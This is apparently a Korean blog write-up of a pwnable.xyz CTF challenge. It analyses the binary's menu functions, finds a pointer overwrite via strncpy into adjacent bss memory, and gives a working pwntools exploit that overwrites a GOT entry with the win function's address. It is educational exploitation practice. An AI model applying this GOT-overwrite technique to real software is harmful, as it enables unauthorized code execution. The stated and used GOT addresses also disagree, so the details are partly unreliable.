# 파일 유형 확인
$ file challenge
64-bit 바이너리 파일
# IDA - pseudo code 확인
> main 함수
while 문으로 반복
v4 가 0이면 break. 1, 2, 0 이 아닌 수이면 Invalid를 출력하고 계속 제대로 된 숫자를 입력할 때까지 메뉴 출력 반복
> print_menu 함수
메뉴 출력
> read_int32 함수 (실제 함수 이름이 이렇진 않겠지만..!)
atoi 함수 : 문자열을 int로 변환
read_int32 함수에서 일단 buf 변수에 32 바이트의 문자열을 받고, 이 문자열을 atoi로 숫자로 변환해서 main 함수의 v4 변수로 받는다.
메뉴 번호만 입력받아서 32 바이트나 필요없는데 이렇게 크기를 크게 받는다는 것은 이 공간을 사용하라는 의미같다.
v4 가 1 이면 edit_note 함수 호출
> edit_note 함수
v0 에 note의 길이를 입력받음.
이때도 read_int32 함수를 통해 v0에 저장했으니 buf 변수로 일단 문자열 32 바이트를 받고 atoi 로 숫자로 변환했을 것.
buf 변수를 v0 바이트 크기만큼 malloc 함.
read(0, buf, v0) : v0 크기만큼 buf 변수에 입력받음. Buf를 딱 v0 크기로 malloc받았으므로 SFP나 return address는 변조 불가
strncpy(s, buf, v0) : s 변수에 buf에 저장된 문자열을 v0 바이트만큼 복사. strncpy 특성상 딱 v0 바이트만 복사 가능
s 변수는 32 바이트이고, bss 섹션에 buf 변수와 가까이 위치한다.
> edit_desc 함수 : 2 번 선택 시 이동
buf 변수를 크기가 32바이트로 malloc 받음.
read(0, buf, 32) : read 함수로 buf 변수에 딱 buf 변수 크기인 32 바이트를 입력받는다. Return address는 덮을 수 없을 듯 하다.
> win 함수 : system 함수로 cat flag 명령어 실행해서 flag 출력
# 실행해보면...
# checksec : 보호기법 확인
Flag 함수가 있으니 목표는 flag 함수의 주소를 줘서 flag 함수로의 리턴이다.
1. win 함수 주소 : 0x40093c
# edit_desc 함수에서 buf(0x6014a0) 와 edit_note 함수의 s(0x601480) 거리 = 0x20
# 필요한 plt, got 주소 구하기
IDA에서 쉽게 구할 수 있다...!
read 함수 plt : 0x400780
어떤 함수의 got를 덮어서 flag를 실행시킬 수 있을까 했는데,
free(buf); 가 있으니까 free의 got를 win 함수의 주소로 덮어서 free가 실행될 때 win 함수가 실행되서 flag가 출력되도록 하자.
free 함수 got : 0x601280
# buf 에서 return address 까지 거리
edit_note 첫 번째 명령어에서 bp1, read 함수 호출 부분에서 bp2를 잡아서 각 bp에서 rsp를 출력해서 return address와 buf 주소를 (이게 x64에서도 맞는지 모르겠지만..^^;) 구하고 두 주소 차이를 구한다.
0x18 = 24 바이트이므로 buf가 24 바이트이고 거기에 SFP 8 바이트를 더해서 return address 전 32 바이트의 더미를 채운다.
# exploit code
#!/usr/bin/python
from pwn import *
p = remote("svc.pwnable.xyz", 30016)
p.sendafter("> ", '1')
p.sendafter("Note len? ", '100')
p.sendafter("note: ", 'A'*0x20 + p64(0x601210))
p.sendafter("> ", '2')
p.sendafter("desc: ", p64(0x40093c))
p.sendafter("> ", '1')
p.sendafter("Note len? ", '5')
p.sendafter("note: ", 'A'*5)
p.interactive()
# exploit
성공!
[pwnable.xyz] xor (0) | 2019.09.28 |
---|---|
[pwnable.xyz] Grownup (0) | 2019.09.27 |
[pwnable.xyz] misalignment (0) | 2019.09.17 |
[pwnable.xyz] add (0) | 2019.09.05 |
[pwnable.xyz] sub (0) | 2019.09.05 |